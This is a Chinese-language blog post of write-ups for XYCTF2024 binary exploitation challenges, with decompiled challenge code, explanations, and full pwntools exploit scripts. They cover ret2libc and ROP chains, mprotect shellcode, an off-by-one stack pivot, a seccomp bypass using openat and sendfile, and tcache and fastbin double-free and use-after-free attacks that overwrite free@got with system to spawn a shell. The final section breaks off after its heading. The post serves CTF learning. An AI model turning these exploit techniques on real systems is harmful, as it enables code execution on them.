首页 > 其他分享 >xyctf2024 pwn

xyctf2024 pwn

时间:2024-09-15 11:34:49浏览次数:10  
标签:p64 chunk free add io xyctf2024 pwn recvuntil

hello world

checksec

image-20240805104024953

大多保护都开启了

main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

其中read函数读入0x48个字节,buf数组只有20个空间,造成了溢出漏洞,该题pie也打开了,我们还需要知道某一个函数的地址,因为栈高2个字节是父函数的返回地址,因此我们可以直接泄露这个地址,因为printf直到遇到\00才会停止输出,如果我们使用a来占位,栈的情况如下

image-20240805105049514

这是输入了0x28个a,与0x28处的数据一起,可以向后泄露地址

得到main函数的返回地址,我们需要计算start函数的起始地址 ???

真实地址 = 加载地址 + 偏移地址

所以 偏移地址 = 静态真实地址 -静态加载地址

然后由此可以得出基地址

接下来就是常规操作了

from pwn import *

context(os="linux",arch="amd64",log_level='debug')
io = process("./vuln")
elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

payload = 0x28 * b'a' 
io.recvuntil("please input your name: ")
io.send(payload)
addr=u64(io.recvuntil(b'\n')[-7:-1].ljust(8,b'\x00'))
print(hex(addr))
base = addr - 0x29d90
sys_addr = base + libc.sym['system']
bsh=base+0x01d8678
poprdi_addr = base + 0x2a3e5
ret_addr = base + 0x29139
payload2 = b'a'*0x28 + p64(ret_addr) + p64(poprdi_addr) + p64(bsh) + p64(sys_addr)
io.recvuntil(b"please input your name: ")
io.sendline(payload2)

io.interactive()

checksec

image-20240913113115083

利用meprotect来赋予权限,使用shellcode

image-20240805200209353

from pwn import *

context(os='linux',arch = 'amd64',log_level = 'debug')

io = process("./vuln")

read_addr = 0x00447580
meprotect_addr = 0x04482C0
bss_addr = 0x04C7000
pop_rdi = 0x00401f1f
pop_rsi = 0x00409f8e
pop_rdx = 0x00451322
ret_add = 0x0040101a
print(read_addr)
payload = (0x20 + 8)*b'a' + p64(ret_add) + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0x100) + p64(pop_rdx) + p64(7) + p64(meprotect_addr)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x100) + p64(read_addr) + p64(bss_addr)

io.recvuntil('static_link? ret2??')
io.sendline(payload)

shellcode = asm(shellcraft.sh())

io.sendline(shellcode)
io.interactive()

Guestbook1

checksec

image-20240807104731581

只开启了栈不可执行保护,IDA打开

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  GuestBook();
  return 0;
}
void __cdecl GuestBook()
{
  int index; // [rsp+Ch] [rbp-224h] BYREF
  char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
  unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF

  puts("Welcome to starRail.");
  puts("please enter your name and id");
  while ( 1 )
  {
    while ( 1 )
    {
      puts("index");
      __isoc99_scanf("%d", &index);
      if ( index <= 32 )
        break;
      puts("out of range");
    }
    if ( index < 0 )
      break;
    puts("name:");
    read(0, name[index], 0x10uLL);
    puts("id:");
    __isoc99_scanf("%hhu", &id[index]);c
  }
  puts("Have a good time!");
}
void __cdecl backdoor()
{
  puts("oh,you find it.");
  system("/bin/sh");
}

该题一看没有能够直接溢出的,但是name函数仅有32个索引仅到31,却可以允许32,id数组也是,id仅靠栈底,所以仅可以溢出一个字节,我们可以试试这个溢出可以干什么

发现可以改变rbp处的最后一个字节,如果我们将原来的栈底值缩小,rbp就被移入栈中,此时,我们在rbp的高一地址处放置后门函数地址,则当ret时就实现了跳转,所以我们需要两个leave ret,leave的作用是将rsp移到rbp处,ret则是pop rbp,pop rip,这样我们可以尽可能的让后门函数所处的位置更高,并在低地址处填充许多ret,使他最终流向后门函数

该题手法

image-20240807104659857

exp

from pwn import *
 
context.arch='amd64'
 
io=remote('gz.imxbt.cn',20835)
 
ret=0x000000000040101a
 
backdoor=0x40133A
 
payload=p64(ret)*2
 
for i in range(32):
    io.recvuntil(b"index\n")
    io.sendline(str(i).encode())
    io.recvuntil(b'name:\n')
    io.sendline(payload)
    io.recvuntil(b"id:\n")
    io.sendline(b'0')
 
 
io.recvuntil(b"index\n")
io.sendline(b'32')
io.recvuntil(b"name:\n")
payload=p64(ret)+p64(backdoor)
io.send(payload)
io.recvuntil("id:\n")
io.sendline(b'0')
 
io.recvuntil(b'index\n')
io.sendline(b'-1')
 
io.interactive()

baby_gift

from pwn import *

context.arch='amd64'
context.log_level = 'debug'

all_logs = []
def debug(params=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(io)[0]
    gdb.attach(pid, params)
    pause()

io  = process("./vuln")
elf  = ELF("./vuln")
libc = ELF("libc.so.6")
io.recvuntil(b'Your name:\n')
io.sendline(b'a'*10)
io.recvuntil(b'Your passwd:\n')
ret = 0x000040101a
mov_eax_0 = 0x000401202
payload = b'%27$pa'.ljust(0x28,b'a') +  p64(mov_eax_0) + p64(0) + p64(0x04012B7)
io.send(payload)
io.recvuntil('0x')
call_main = int(io.recv(12),16) - 128
base = call_main - libc.sym["__libc_start_main"]
system = base+libc.sym["system"]
printf = base + libc.sym['printf']
success(hex(system))
#debug()
sh = base+next(libc.search(b"/bin/sh"))
rdi = 0x000000000002a3e5+base
payload = b'/bin/sh\x00'+b'a'*0x20+p64(ret)+p64(system)
io.recvuntil(b'Your name:\n')
io.sendline(b'a'*10)
io.recvuntil(b'Your passwd:\n')
io.sendline(payload)
#io.recv()
io.interactive()


invisible_flag

checksec

image-20240809093732535

查看沙箱

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
 0008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0013
 0009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0013
 0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

IDA打开

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *addr; // [rsp+8h] [rbp-118h]

  init();
  addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    puts("show your magic again");
    read(0, addr, 0x200uLL);
    sandbox();
    ((void (*)(void))addr)();
    return 0;
  }
}

明显的栈溢出,但是大多函数都用不了,使用orw来做题

因为execve和open都被禁用,那我们就需要openat来获取文件标识符,

image-20240809094200865

然后使用sendfile来输出

image-20240809094501436

exp如下

from pwn import *
from ctypes import *

context(os='linux',arch='amd64',log_level='debug')
io = process("./vuln")
#io = remote("gz.imxbt.cn",20908)

shellcode = '''
    mov rax,0x67616c662f2e
    push rax
    xor rdi,rdi
    sub rdi,100
    mov rsi,rsp
    xor edx,edx
    xor r10,r10
    push SYS_openat
    pop rax
    syscall
    
    mov rdi,1
    mov rsi,3
    push 0
    mov rdx,rsp
    mov r10,0x100
    push SYS_sendfile
    pop rax
    syscall
'''

shellcode = asm(shellcode)

shellcode=asm(shellcraft.openat(-100,'flag'))
 
shellcode+=asm(shellcraft.sendfile(1,3,0,0x30))
print(shellcode)
io.sendline(shellcode)
io.interactive()

fastfastfast

checksec

image-20240809094859886

首先要泄露libc的地址,那就要利用我们的show函数,要使用show函数,那我们必须篡改note[idx]的地址,怎么篡改呢

我们要知道tcachefastbin的进出规则,先进后出

2.31的glibc在tcache引⼊了key机制,没有 edit 函数⽆法绕过检测,所以就转到fastbin attack

我们先了解以下:

  • 程序每当从fastbin/small bin中取出一个堆块,会尝试把该bin中剩余的堆块拿出来去填充tcache

  • 取堆块的过程与正常从链表中取出堆块的方式一样,对于fastbin来讲就是先进后出,对于smallbin来说就是先进先出。这个过程,直到tcache被填满或者链表被取空。

  • 先讲以取空链表的方式结束的方法,对于fastbin而言,链表取空,即bin的fd指向了0,这个情况得是取出一个堆块后,这个链表最后以0结尾。

要触发fastbindoublefree漏洞,就可以隔一个free两个同样的节点,比如

for i in range(9):
    add(i,b'a'*0x68)
size=0x4040b0
for i in range(7):
    delete(i)
delete(7)
delete(8)
delete(7)

bin如下:

image-20240820185750317

然后如下操作:

for i in range(7):
    add(i,b'a'*0x68)
add(7,p64(size))

其中size是想要泄露地址存放的地址,然后heap中的位置如下

image-20240820190218392

因为add(7,p64(size))时,tache认为7是空闲的,而add认为它是正在使用的,所以向7中写入地址,tache认为这个地址是fd,即指向下一个free块的地址,这是就多出了一个块

再执行

add(8,b'a'*0x68)
add(9,b'a'*0x68)
payload=b'a'*0x10+p64(puts_got)
add(10,payload)

heap如下:

image-20240820190743649

成功泄露libc的地址,接下来,就是执行system('/bin/sh'),我们可以篡改free_hook的地址为system地址,这样当free了输入了/bin/sh的节点的时候,就会执行函数

写入过程与上述一致

for i in range(9):
    add(i,b'a'*0x68)
for i in range(7):
    delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
    add(i,b'a')
one_gadget=libc_base+0xe3b31
add(7,p64(free_hook))
add(8,b'a'*0x68)
add(9,b'/bin/sh')
add(10,p64(system))
delete(9)
io.interactive()

Intermittent

checksec

[*] '/home/gery5sa/桌面/pwn/xyctf/Intermittent/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

IDA打开

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+0h] [rbp-120h]
  void (*v5)(void); // [rsp+8h] [rbp-118h]
  _DWORD buf[66]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();
    return 0;
  }
}

代码基本思想

  1. 生成canary

  2. 使用mmap系统调用来在Linux(或类Unix)系统中动态地映射内存区域

    void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
    
  3. 向buf中读入0x100个字节的内容

  4. 将buf截断放入(v5+4i)的位置,每个位置放四个字节

  5. 执行v5处的代码

    因为写入v5处的代码较少,无法写入shellcode,那我们可以构造read函数,写入shellcode,继续执行v5,通过调试,v5的地址存在rdx中,我们要构造read(0,v5,0x100),构造成read的shellcode

    shellcode = asm('push rdx;pop rsi;jmp $+14;')
    shellcode += asm('push rax;pop rdi;jmp $+14;')
    shellcode += asm('push rsi;pop rdx;syscall;')
    

    然后读入system('/bin/sh')shellcode,继而执行

    image-20240903103608553

此时rip已经指向了syscall的下一个位置,填充的shellcode的头地址在此位置即可

exp

from pwn import *

context.arch='amd64'
context.log_level = 'debug'

all_logs = []
def debug(params=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(io)[0]
    gdb.attach(pid, params)
    pause()
io = process("./vuln")
#io = remote("gz.imxbt.cn",20381)
shellcode = asm('push rdx;pop rsi;jmp $+14;')
shellcode += asm('push rax;pop rdi;jmp $+14;')
shellcode += asm('push rsi;pop rdx;syscall;')
io.recvuntil(b'show your magic: ')
io.send(shellcode.ljust(0x100,b'\x90')) #'\x90' nop
io.send(b'\x90'*0x28 + asm(shellcraft.sh()))
io.interactive()

ptmalloc2 it's myheap

[*] '/home/gery5sa/桌面/pwn/xyctf/ptmalloc2_its_myheap/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看代码:

就是一个菜单程序,可以添加,删除,和查看

unsigned __int64 add_chunk()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-28h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  _QWORD *v3; // [rsp+18h] [rbp-18h]
  void *buf; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("[?] please input chunk_idx: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    printf("[?] Enter chunk size: ");
    __isoc99_scanf("%lld", &size);
    v3 = malloc(0x18uLL);   //malloc管理块
    *v3 = size;
    if ( v3 )
    {
      buf = malloc(size);   //malloc数据块
      v3[2] = buf;  //管理块的第三地址的指针指向数据块
      if ( buf )
      {
        printf("[?] Enter chunk data: ");
        read(0, buf, size);   //输入数据
        chunk_list[v1] = v3;   
        v3[1] = 1LL;
      }
      else
      {
        puts("[-] Failed to create chunk for data!");
      }
    }
    else
    {
      puts("[-] Failed to create new chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v5 - __readfsqword(0x28u);
}
unsigned __int64 delete_chunk()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    v2 = chunk_list[v1];
    if ( v2 )
    {
      if ( *(_QWORD *)(v2 + 8) )
      {
        free((void *)chunk_list[v1]);   //先free管理块
        free(*(void **)(v2 + 16)); 		//再free数据块
        *(_QWORD *)(v2 + 8) = 0LL;		//指针未置0,UAF漏洞
      }
      else
      {
        puts("[-] Chunk is not used!");
      }
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v3 - __readfsqword(0x28u);
}
unsigned __int64 view_chunk()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[?] Enter chunk id: ");
  __isoc99_scanf("%lld", &v1);
  if ( v1 < 0x10 )
  {
    if ( chunk_list[v1] )
    {
      if ( *(_QWORD *)(chunk_list[v1] + 8LL) )
        write(1, *(const void **)(chunk_list[v1] + 16LL), *(_QWORD *)chunk_list[v1]);
        //在管理块的第三个指针输出data块的值
      else
        puts("[-] Chunk is not used!");
    }
    else
    {
      puts("[-] No such chunk!");
    }
  }
  else
  {
    puts("[-] Chunk limit exceeded!");
  }
  return v2 - __readfsqword(0x28u);
}
method1

题目思路:

  • 第1题PIE未开,并且got表可写。直接覆盖free为system

  • 3个题的菜单一样,只有add,free,show,没有edit稍有点麻烦。

  • add时先写个0x18的管理块,再建数据块,并将指针和大小写到管理块。

  • free时先free管理块再free数据块,并且未清指针,所以有UAF漏洞。

  • show是用write写不会出现\0截断。

  • 通过建0x18的块覆盖原来free掉但未清指针的管理块,控制管理块的指针,可以实现任意地址读。

  • 并且可以指定一个位置来 free得到到重叠块,覆盖原tcache的指实在在指定位置建块写数据。

    参考:https://blog.csdn.net/weixin_52640415/article/details/140070008

泄露libc过程示意图

add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")

image-20240908162918046

同理将heap的基地址泄露出来,(chunk_list中存放的就是各个结点的malloc起始地址),泄露即可,经过调试,第一个malloc离heap地址距离0x2a

泄露代码:

free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")

然后就是修改free_gotsystem,首先就是要把bins的指针指向free_got,位置,然后就可以,我们可以使用重叠,因为该题的free是根据管理块上的地址,而我们恰好可以控制这个地址,因为此时对于0x30tcache,上图,我们看到d1可以最先被malloc,我们尝试修改d1的内容,我们在其前一个地址(0x310)处,malloc一个更大的数据块,我们可以在此写入任意数据,如何能free到一个更大的bins呢,我们free(0),就会根据g0的第三个位置的地址来free,我们设置这个地址为0x2e0,经过调试发现,会生成一个0x60大小的bins,如下图

image-20240908204657965

之后就是改写数据了

free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)
 
add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))

bins如下:

image-20240908204843170

发现已经构造成功,接下来,就是写入system加执行了

示意图

image-20240908205402511

完整exp

from pwn import *

context.arch='amd64'
context.log_level = 'debug'

all_logs = []
def debug(params=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(io)[0]
    gdb.attach(pid, params)
    pause()
io = process("./vuln")
libc = ELF('./libc.so.6')
elf = ELF("./vuln")
def add(index,size,data='A'):
    io.recvuntil(">>> ")
    io.sendline(str(1))
    io.recvuntil("chunk_idx: ")
    io.sendline(str(index))
    io.recvuntil("size: ")
    io.sendline(str(size))
    io.recvuntil("data: ")
    io.sendline(data)
def free(index):
    io.recvuntil(">>> ")
    io.sendline(str(2))
    io.recvuntil("id: ")
    io.sendline(str(index))
def show(index):
    io.recvuntil(">>> ")
    io.sendline(str(3))
    io.recvuntil("id: ")
    io.sendline(str(index))
add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(io.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")
 
free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(io.recv(8)) - 0x2a0
print(f"{heap = :x}")
 
free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)
add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))
 
free(3)
io.interactive()
method2

glibc 2.35版本的堆,题⽬没开PIE和Partial RELRO,并且有函数泄漏了libc上的地址。所以思路就是先利⽤堆风⽔修改info chunk使得user chunk的使⽤标记为1,并修改原本指向user chunk的指针指向全局变量 chunk_list,从⽽就能泄漏出堆地址了。然后同样由于tcache key机制,并且没 edit 函数,需要转打fastbin attack,并且由于glibc 2.32后引⼊了PROTECT_PTR宏和safelink机制,所以要求伪造的chunk以0x10对齐,并且fd的值为(chunk_addr >> 12) ^ next_chunk_addr。最后利⽤UAF修改 free@got 为 system即可。实现double_free即可

from pwn import *
context.arch='amd64'
elf=ELF('./vuln')
libc=ELF('./libc.so.6')
#io=remote('113.54.244.115',55121)
io=process('./vuln')
puts_got=elf.got['puts']
free=elf.got['free']
#free_got=elf.got['free']
 
def add(idx,size,content):
    io.recvuntil(b">>> ")
    io.sendline(b'1')
    io.recvuntil(b"[?] please input chunk_idx: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"[?] Enter chunk size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"[?] Enter chunk data: ")
    io.send(content)
 
def delete(idx) :
    io.recvuntil(b">>> ")
    io.sendline(b'2')
    io.recvuntil(b"[?] Enter chunk id: ")
    io.sendline(str(idx).encode())
 
def show(idx):
    io.recvuntil(b">>> ")
    io.sendline(b'3')
    io.recvuntil(b"[?] Enter chunk id: ")
    io.sendline(str(idx).encode())
 
def edit(idx,content) :
    io.recvuntil(b">>> ")
    io.sendline(b'2')
    io.recvuntil(b"which suggestion?\n")
    io.sendline(str(idx).encode())
    io.send(content)
all_logs = []
def debug(params=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(io)[0]
    gdb.attach(pid, params)
    pause()
 
 
add(0,0x18,b'aaa')
delete(0)
payload=p64(0x18)+p64(1)+p64(puts_got)
add(1,0x18,payload)
show(0)
puts=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts-libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
print('libc_base:',hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print('malloc_hook:',hex(malloc_hook))
#leak heap
delete(1)
payload=p64(0x18)+p64(1)+p64(0x4040E0)
add(2,0x18,payload)
show(1)
heap=u64(io.recv(6).ljust(8,b'\x00'))-0x2a0
for i in range(9):
    add(i,0x30,b'aaa')
for i in range(7):
    delete(i)
delete(7)
delete(8)
add(9,0x18,b'aaa')
add(10,0x18,b'ccc')
add(11,0x18,b'ddd')
add(12,0x60,b'kkk')
addr=heap+0x5a0
payload=p64(0x30)+p64(1) 	#篡改标志为1,可以再次free
add(13,0x18,payload)
delete(7)			

for i in range(7):
    add(7,0x30,'aaaa')

add(7,0x30,p64((heap>>12)^(elf.got['free']-8)))
add(8,0x30,'/bin/sh\x00')
#debug()
add(14,0x30,'/bin/sh\x00')
add(15,0x30,p64(0)+p64(sys_addr))

delete(8)
io.interactive()

ptmalloc2 it‘s myheap pro

check

image-20240910102821540

标签:p64,chunk,free,add,io,xyctf2024,pwn,recvuntil
From: https://www.cnblogs.com/zMeedA/p/18415096

相关文章

  • CTF-BugKu-PWN 瑞士军刀
    参考:bugku-瑞士军刀_114.67.175.224-CSDN博客NC:https://www.cnblogs.com/bakari/p/10898604.html#:~:text=nc%EF%BC%8C%E5%85%A8%E5%90%8D%E5%8F%AB%20n注意:nc连上之后是没有反馈的ls:列出目前工作目录所含的文件及子目录 可以看到有flag文件cat:用于显示文本文件内......
  • 羊城杯比赛pwn复现
    title:羊城杯比赛pwn复现date:2024-09-0520:12:19categories:ctf-比赛复现首先推荐这个博客本篇学习的思路来自这个大佬实力有限,只复现出了pstack这一题pstack知识点这个题目是个很经典的栈迁移的题目,因为栈溢出的空间不够,但是常规的栈迁移一般有方法获得一......
  • kali下PWN环境配置
    0x01kali换源如果你熟悉使用vim的话,你可以直接使用sudovim/etc/apt/sources.list如果不熟悉vim可以先安装一个gedit:sudoaptinstallgeditgedit只是个编辑器而已,ubuntu下默认安装,kali下默认安装的是mousepad,所以可以用以下命令换源:sudomousepad/etc/apt/sourc......
  • sekaiCTF-2024-pwn-nolibc解析
    sekaiCTF2024nolibc程序逆向IDA反编译之后:全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。我们linux上运行程序可以确定,至少sub_1322("WelcometoStringStorage!");这样的函数实现的功能就是类似于printf。逆向函数:__int64__......
  • pwn基础(一)环境搭建
    "Pwn"是一个黑可语法的俚语词,源自动词"own",表示攻破或控制设备或系统。它常用于描述成功利用系统或应用程序的漏动,绕过安全措施并获取系统权限的行为。在网络安全领域,"pwn"通常与二进制漏动利用相关,涉及分析程序、发现漏动并构造特定的输入或代码来触发这些漏动,从而实现对目标系统......
  • 羊城杯2024 pwn4的反思
    前言今天无聊乱刷的时候发现有师傅说羊城杯的pwn4(hardsandbox)用openat2只能打通本地,远程无法打通,于是点击看了一下文章,发现了一个对沙箱的逃逸的知识点。正文为什么openat2无法打通远程Qanux师傅说是远程的kernel(linux内核)版本是5.4,而openat2系统调用是在kernel5.6......
  • 初探MIPS PWN
    MIPSPWN调试环境配置&工具安装(Ubuntu22.04)安装qemuqemu是一个支持跨平台虚拟化的虚拟机,有usermode和systemmode两种配置方式。其中qemu在systemmode配置下模拟出整个计算机,可以在qemu之上运行一个操作系统。qemu的systemmode与常见的VMware和Virtualbox等虚拟机......
  • protobuf pwn题专项
    protobufpwn准备工作安装protobuf编译器sudoapt-getinstalllibprotobuf-devprotobuf-compiler安装python依赖库pip3installgrpciopip3installgrpcio-toolsgoogleapis-common-protos安装pbtkgitclonehttps://github.com/marin-m/pbtkggbond来自DubheCTF......
  • DASCTF2022.07赋能赛PWN部分WP
    DASCTF2022.07赋能赛PWN部分WPeyfor程序保护情况64位ida逆向可以看见是一个随机数的逻辑,只要我们猜不对4次就可以进入漏洞函数,但是我感觉这原本可能是==号,让用随机数的那我们就4次不输入一个数就可以进入漏洞函数,这里注意这个a1就是我们进入漏洞函数之前要输入的值,可以看见......
  • PWN学习过程中一些小问题的解决方法
    一、使用python运行py文件,第一行的frompwnimport*报错File"woof.py",line1,in<module>frompwnimport*ImportError:Nomodulenamedpwn因为使用的是python3安装的pwn,使用Python的话默认使用的是python2,可以直接在终端中输入python查看自己使用的版本。......